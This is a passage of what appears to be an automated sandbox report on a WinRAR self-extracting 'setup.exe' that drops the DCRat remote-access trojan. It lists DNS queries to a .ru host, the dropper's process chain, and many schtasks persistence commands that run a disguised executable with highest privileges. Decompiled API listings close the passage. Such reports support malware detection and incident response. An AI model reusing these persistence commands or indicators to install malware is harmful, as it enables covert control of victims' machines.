Dec 29, 2024 17:51:28.441420078 CET	54057	53	192.168.2.4	1.1.1.1
Dec 29, 2024 17:51:28.579720020 CET	53	54057	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 29, 2024 17:51:15.329035997 CET	192.168.2.4	1.1.1.1	0x1391	Standard query (0)	a1069594.xsph.ru	A (IP address)	IN (0x0001)	false
Dec 29, 2024 17:51:28.441420078 CET	192.168.2.4	1.1.1.1	0x4582	Standard query (0)	a1069594.xsph.ru	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 29, 2024 17:51:15.921006918 CET	1.1.1.1	192.168.2.4	0x1391	No error (0)	a1069594.xsph.ru		141.8.192.164	A (IP address)	IN (0x0001)	false
Dec 29, 2024 17:51:28.579720020 CET	1.1.1.1	192.168.2.4	0x4582	No error (0)	a1069594.xsph.ru		141.8.192.164	A (IP address)	IN (0x0001)	false

Target ID:	0
Start time:	11:50:52
Start date:	29/12/2024
Path:	C:\Users\user\Desktop\setup.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\setup.exe"
Imagebase:	0x490000
File size:	1'165'431 bytes
MD5 hash:	027BBB0A4D9B911C6D707866E98C1314
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	11:50:52
Start date:	29/12/2024
Path:	C:\Windows\SysWOW64\wscript.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WScript.exe" "C:\refBrokerDhcp\QElwSQf83XBFhMyqm1gWbbiKf8tDaQ.vbe"
Imagebase:	0xf10000
File size:	147'456 bytes
MD5 hash:	FF00E0480075B095948000BDC66E81F0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	11:51:01
Start date:	29/12/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c ""C:\refBrokerDhcp\eop7KwarhdN0r.bat" "
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	11:51:01
Start date:	29/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	11:51:01
Start date:	29/12/2024
Path:	C:\refBrokerDhcp\msbrowser.exe
Wow64 process (32bit):	false
Commandline:	"C:\refBrokerDhcp\msbrowser.exe"
Imagebase:	0xa00000
File size:	848'384 bytes
MD5 hash:	3D428539F2CDDF97ABFE6586DF2F2C1D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: 00000004.00000002.1739828921.0000000002FFA000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: 00000004.00000002.1739828921.0000000002E11000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	11:51:02
Start date:	29/12/2024
Path:	C:\refBrokerDhcp\msbrowser.exe
Wow64 process (32bit):	false
Commandline:	"C:\refBrokerDhcp\msbrowser.exe"
Imagebase:	0x160000
File size:	848'384 bytes
MD5 hash:	3D428539F2CDDF97ABFE6586DF2F2C1D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: 00000011.00000002.1761010845.0000000002A59000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: 00000011.00000002.1761010845.00000000025D1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	11:51:03
Start date:	29/12/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "oPmKvuejiIKwwErUSo" /sc MINUTE /mo 12 /tr "'C:\refBrokerDhcp\oPmKvuejiIKwwErUS.exe'" /f
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	11:51:03
Start date:	29/12/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "oPmKvuejiIKwwErUS" /sc ONLOGON /tr "'C:\refBrokerDhcp\oPmKvuejiIKwwErUS.exe'" /rl HIGHEST /f
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	11:51:03
Start date:	29/12/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "oPmKvuejiIKwwErUSo" /sc MINUTE /mo 10 /tr "'C:\refBrokerDhcp\oPmKvuejiIKwwErUS.exe'" /rl HIGHEST /f
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	11:51:03
Start date:	29/12/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "oPmKvuejiIKwwErUSo" /sc MINUTE /mo 13 /tr "'C:\Program Files (x86)\mozilla maintenance service\oPmKvuejiIKwwErUS.exe'" /f
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	11:51:03
Start date:	29/12/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "oPmKvuejiIKwwErUS" /sc ONLOGON /tr "'C:\Program Files (x86)\mozilla maintenance service\oPmKvuejiIKwwErUS.exe'" /rl HIGHEST /f
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	11:51:03
Start date:	29/12/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "oPmKvuejiIKwwErUSo" /sc MINUTE /mo 8 /tr "'C:\Program Files (x86)\mozilla maintenance service\oPmKvuejiIKwwErUS.exe'" /rl HIGHEST /f
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	11:51:03
Start date:	29/12/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "oPmKvuejiIKwwErUSo" /sc MINUTE /mo 14 /tr "'C:\Recovery\oPmKvuejiIKwwErUS.exe'" /f
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	11:51:03
Start date:	29/12/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "oPmKvuejiIKwwErUS" /sc ONLOGON /tr "'C:\Recovery\oPmKvuejiIKwwErUS.exe'" /rl HIGHEST /f
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	11:51:03
Start date:	29/12/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "oPmKvuejiIKwwErUSo" /sc MINUTE /mo 13 /tr "'C:\Recovery\oPmKvuejiIKwwErUS.exe'" /rl HIGHEST /f
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	11:51:03
Start date:	29/12/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "oPmKvuejiIKwwErUSo" /sc MINUTE /mo 8 /tr "'C:\Windows\Performance\WinSAT\DataStore\oPmKvuejiIKwwErUS.exe'" /f
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	11:51:03
Start date:	29/12/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "oPmKvuejiIKwwErUS" /sc ONLOGON /tr "'C:\Windows\Performance\WinSAT\DataStore\oPmKvuejiIKwwErUS.exe'" /rl HIGHEST /f
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	11:51:03
Start date:	29/12/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "oPmKvuejiIKwwErUSo" /sc MINUTE /mo 6 /tr "'C:\Windows\Performance\WinSAT\DataStore\oPmKvuejiIKwwErUS.exe'" /rl HIGHEST /f
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	11:51:03
Start date:	29/12/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "oPmKvuejiIKwwErUSo" /sc MINUTE /mo 5 /tr "'C:\Windows\SysWOW64\GroupPolicyUsers\oPmKvuejiIKwwErUS.exe'" /f
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	11:51:03
Start date:	29/12/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "oPmKvuejiIKwwErUS" /sc ONLOGON /tr "'C:\Windows\SysWOW64\GroupPolicyUsers\oPmKvuejiIKwwErUS.exe'" /rl HIGHEST /f
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	11:51:03
Start date:	29/12/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "oPmKvuejiIKwwErUSo" /sc MINUTE /mo 12 /tr "'C:\Windows\SysWOW64\GroupPolicyUsers\oPmKvuejiIKwwErUS.exe'" /rl HIGHEST /f
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	11:51:03
Start date:	29/12/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "ctfmonc" /sc MINUTE /mo 13 /tr "'C:\Recovery\ctfmon.exe'" /f
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	11:51:03
Start date:	29/12/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "ctfmon" /sc ONLOGON /tr "'C:\Recovery\ctfmon.exe'" /rl HIGHEST /f
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	35
Start time:	11:51:03
Start date:	29/12/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "ctfmonc" /sc MINUTE /mo 8 /tr "'C:\Recovery\ctfmon.exe'" /rl HIGHEST /f
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	36
Start time:	11:51:03
Start date:	29/12/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "oPmKvuejiIKwwErUSo" /sc MINUTE /mo 9 /tr "'C:\Users\All Users\Desktop\oPmKvuejiIKwwErUS.exe'" /f
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	37
Start time:	11:51:03
Start date:	29/12/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "oPmKvuejiIKwwErUS" /sc ONLOGON /tr "'C:\Users\All Users\Desktop\oPmKvuejiIKwwErUS.exe'" /rl HIGHEST /f
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	38
Start time:	11:51:03
Start date:	29/12/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "oPmKvuejiIKwwErUSo" /sc MINUTE /mo 13 /tr "'C:\Users\All Users\Desktop\oPmKvuejiIKwwErUS.exe'" /rl HIGHEST /f
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	39
Start time:	11:51:04
Start date:	29/12/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "oPmKvuejiIKwwErUSo" /sc MINUTE /mo 7 /tr "'C:\Program Files (x86)\microsoft.net\Primary Interop Assemblies\oPmKvuejiIKwwErUS.exe'" /f
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	40
Start time:	11:51:04
Start date:	29/12/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "oPmKvuejiIKwwErUS" /sc ONLOGON /tr "'C:\Program Files (x86)\microsoft.net\Primary Interop Assemblies\oPmKvuejiIKwwErUS.exe'" /rl HIGHEST /f
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	41
Start time:	11:51:04
Start date:	29/12/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "oPmKvuejiIKwwErUSo" /sc MINUTE /mo 10 /tr "'C:\Program Files (x86)\microsoft.net\Primary Interop Assemblies\oPmKvuejiIKwwErUS.exe'" /rl HIGHEST /f
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	9.6%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	9.4%
Total number of Nodes:	1462
Total number of Limit Nodes:	27

Executed Functions

Function 004AD5D4 Relevance: 42.2, APIs: 17, Strings: 7, Instructions: 197
filesleeptimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 004A00CF: GetModuleHandleW.KERNEL32(kernel32), ref: 004A00E4
Part of subcall function 004A00CF: GetProcAddress.KERNEL32(00000000,SetDllDirectoryW), ref: 004A00F6
Part of subcall function 004A00CF: GetProcAddress.KERNEL32(00000000,SetDefaultDllDirectories), ref: 004A0127

Part of subcall function 004A9DA4: GetCurrentDirectoryW.KERNEL32(?,?), ref: 004A9DAC

Part of subcall function 004AA335: OleInitialize.OLE32(00000000), ref: 004AA34E
Part of subcall function 004AA335: GdiplusStartup.GDIPLUS(?,?,00000000), ref: 004AA385
Part of subcall function 004AA335: SHGetMalloc.SHELL32(004D8430), ref: 004AA38F

Part of subcall function 004A13B3: GetCPInfo.KERNEL32(00000000,?), ref: 004A13C4
Part of subcall function 004A13B3: IsDBCSLeadByte.KERNEL32(00000000), ref: 004A13D8

GetCommandLineW.KERNEL32 ref: 004AD61C
OpenFileMappingW.KERNEL32(000F001F,00000000,winrarsfxmappingfile.tmp), ref: 004AD643
MapViewOfFile.KERNEL32(00000000,000F001F,00000000,00000000,00007104), ref: 004AD654
UnmapViewOfFile.KERNEL32(00000000), ref: 004AD68E

Part of subcall function 004AD287: SetEnvironmentVariableW.KERNEL32(sfxcmd,?), ref: 004AD29D
Part of subcall function 004AD287: SetEnvironmentVariableW.KERNEL32(sfxpar,-00000002,00000000,?,?,?,00001000), ref: 004AD2D9

CloseHandle.KERNEL32(00000000), ref: 004AD697
GetModuleFileNameW.KERNEL32(00000000,004EDC90,00000800), ref: 004AD6B2
SetEnvironmentVariableW.KERNEL32(sfxname,004EDC90), ref: 004AD6BE
GetLocalTime.KERNEL32(?), ref: 004AD6C9
_swprintf.LIBCMT ref: 004AD708
SetEnvironmentVariableW.KERNEL32(sfxstime,?), ref: 004AD71A
GetModuleHandleW.KERNEL32(00000000), ref: 004AD721
LoadIconW.USER32(00000000,00000064), ref: 004AD738
DialogBoxParamW.USER32(00000000,STARTDLG,00000000,Function_0001AEE0,00000000), ref: 004AD789
Sleep.KERNEL32(?), ref: 004AD7B7
DeleteObject.GDI32 ref: 004AD7F0
DeleteObject.GDI32(?), ref: 004AD800
CloseHandle.KERNEL32 ref: 004AD843

Strings

xjN, xrefs: 004AD7CB
sfxname, xrefs: 004AD6B9
C:\Users\user\Desktop, xrefs: 004AD5E9
%4d-%02d-%02d-%02d-%02d-%02d-%03d, xrefs: 004AD6F9
sfxstime, xrefs: 004AD715
STARTDLG, xrefs: 004AD77E
winrarsfxmappingfile.tmp, xrefs: 004AD637

Memory Dump Source

Source File: 00000000.00000002.1636853570.0000000000491000.00000020.00000001.01000000.00000003.sdmp, Offset: 00490000, based on PE: true

Associated: 00000000.00000002.1636839633.0000000000490000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636877655.00000000004C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004F1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636952152.00000000004F2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_490000_setup.jbxd

Similarity

API ID: EnvironmentFileHandleVariable$Module$AddressCloseDeleteObjectProcView$ByteCommandCurrentDialogDirectoryGdiplusIconInfoInitializeLeadLineLoadLocalMallocMappingNameOpenParamSleepStartupTimeUnmap_swprintf
String ID: %4d-%02d-%02d-%02d-%02d-%02d-%03d$C:\Users\user\Desktop$STARTDLG$sfxname$sfxstime$winrarsfxmappingfile.tmp$xjN
API String ID: 788466649-2414472892
Opcode ID: 872ca78916979fc6fd736f5975ddb0173507d67facc0eb24a86b620e1674fa95
Instruction ID: 1098beefd098f49c1fccc42454b48d45f5e21895be86bdfc0b0fc15130ca0a23
Opcode Fuzzy Hash: 872ca78916979fc6fd736f5975ddb0173507d67facc0eb24a86b620e1674fa95
Instruction Fuzzy Hash: 7361E671900241AFD360AF66DC49F6B37A8EB66749F00443FF54692292DFBC9904C76D

Function 004A9E1C Relevance: 19.4, APIs: 10, Strings: 1, Instructions: 100
memorywindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindResourceW.KERNEL32(004AAE4D,PNG,?,?,?,004AAE4D,00000066), ref: 004A9E2E
SizeofResource.KERNEL32(00000000,00000000,?,?,?,004AAE4D,00000066), ref: 004A9E46
LoadResource.KERNEL32(00000000,?,?,?,004AAE4D,00000066), ref: 004A9E59
LockResource.KERNEL32(00000000,?,?,?,004AAE4D,00000066), ref: 004A9E64
GlobalAlloc.KERNELBASE(00000002,00000000,?,?,?,?,?,004AAE4D,00000066), ref: 004A9E82
GlobalLock.KERNEL32(00000000), ref: 004A9E93
CreateStreamOnHGlobal.COMBASE(00000000,00000000,?), ref: 004A9EB7
GdipCreateHBITMAPFromBitmap.GDIPLUS(?,?,00FFFFFF), ref: 004A9EFC
GlobalUnlock.KERNEL32(00000000), ref: 004A9F1B
GlobalFree.KERNEL32(00000000), ref: 004A9F22

Strings

PNG, xrefs: 004A9E1F

Memory Dump Source

Source File: 00000000.00000002.1636853570.0000000000491000.00000020.00000001.01000000.00000003.sdmp, Offset: 00490000, based on PE: true

Associated: 00000000.00000002.1636839633.0000000000490000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636877655.00000000004C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004F1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636952152.00000000004F2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_490000_setup.jbxd

Similarity

API ID: Global$Resource$CreateLock$AllocBitmapFindFreeFromGdipLoadSizeofStreamUnlock
String ID: PNG
API String ID: 3656887471-364855578
Opcode ID: 8175ab5cd7cb229f295bf1b3fd365266d51c01e823a8d364b6514a62b6f8d967
Instruction ID: e663db78dce477f746f429dd5044978133fbe6d1ffc3ac495425a490a0a68963
Opcode Fuzzy Hash: 8175ab5cd7cb229f295bf1b3fd365266d51c01e823a8d364b6514a62b6f8d967
Instruction Fuzzy Hash: 77319371204302AFD7109F61DC48E6BBBADFFA6752B04452AF902D7261EB36DC00CA69

Function 0049A5F4 Relevance: 7.6, APIs: 5, Instructions: 107
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindFirstFileW.KERNELBASE(?,?,?,?,?,?,0049A4EF,000000FF,?,?), ref: 0049A628
FindFirstFileW.KERNELBASE(?,?,?,?,00000800,?,?,?,?,0049A4EF,000000FF,?,?), ref: 0049A65E
GetLastError.KERNEL32(?,?,00000800,?,?,?,?,0049A4EF,000000FF,?,?), ref: 0049A66A
FindNextFileW.KERNEL32(?,?,?,?,?,?,0049A4EF,000000FF,?,?), ref: 0049A692
GetLastError.KERNEL32(?,?,?,?,0049A4EF,000000FF,?,?), ref: 0049A69E

Memory Dump Source

Source File: 00000000.00000002.1636853570.0000000000491000.00000020.00000001.01000000.00000003.sdmp, Offset: 00490000, based on PE: true

Associated: 00000000.00000002.1636839633.0000000000490000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636877655.00000000004C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004F1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636952152.00000000004F2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_490000_setup.jbxd

Similarity

API ID: FileFind$ErrorFirstLast$Next
String ID:
API String ID: 869497890-0
Opcode ID: 467a852e6aa566ffade0de989d964ffd3f3d305b6062989c60bb2d2812205305
Instruction ID: 50090312a9f265daf23e1f88dbc580d35c552591dd0a0bd3582fabcd07050701
Opcode Fuzzy Hash: 467a852e6aa566ffade0de989d964ffd3f3d305b6062989c60bb2d2812205305
Instruction Fuzzy Hash: 82415172504241AFC724EF69C884ADBFBE8BB59344F044A3EF5D9D3240D738AD648B96

Function 004B753D Relevance: 4.5, APIs: 3, Instructions: 20COMMONLIBRARYCODE

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000000,?,004B7513,00000000,004CBAD8,0000000C,004B766A,00000000,00000002,00000000), ref: 004B755E
TerminateProcess.KERNEL32(00000000,?,004B7513,00000000,004CBAD8,0000000C,004B766A,00000000,00000002,00000000), ref: 004B7565
ExitProcess.KERNEL32 ref: 004B7577

Memory Dump Source

Source File: 00000000.00000002.1636853570.0000000000491000.00000020.00000001.01000000.00000003.sdmp, Offset: 00490000, based on PE: true

Associated: 00000000.00000002.1636839633.0000000000490000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636877655.00000000004C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004F1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636952152.00000000004F2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_490000_setup.jbxd

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: d4db8864b0ab564a68dd49a06fb64e64ff54b87d11a21e33e0c38708ffbd0689
Instruction ID: 4fc2da31f24bc4ec0286cd4c876c947391d7f66170761c5a63c3e478d31c6b85
Opcode Fuzzy Hash: d4db8864b0ab564a68dd49a06fb64e64ff54b87d11a21e33e0c38708ffbd0689
Instruction Fuzzy Hash: 04E0BF31004548AFCF61BF69DD49E893F69EB40786F108425F9454A622CB39DE52CB68

Function 0049857B Relevance: 3.9, APIs: 2, Instructions: 947COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00498580
_memcmp.LIBVCRUNTIME ref: 00498A08

Memory Dump Source

Source File: 00000000.00000002.1636853570.0000000000491000.00000020.00000001.01000000.00000003.sdmp, Offset: 00490000, based on PE: true

Associated: 00000000.00000002.1636839633.0000000000490000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636877655.00000000004C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004D4000.00000004.00000001.01000000.00000003.sdmpDownload File
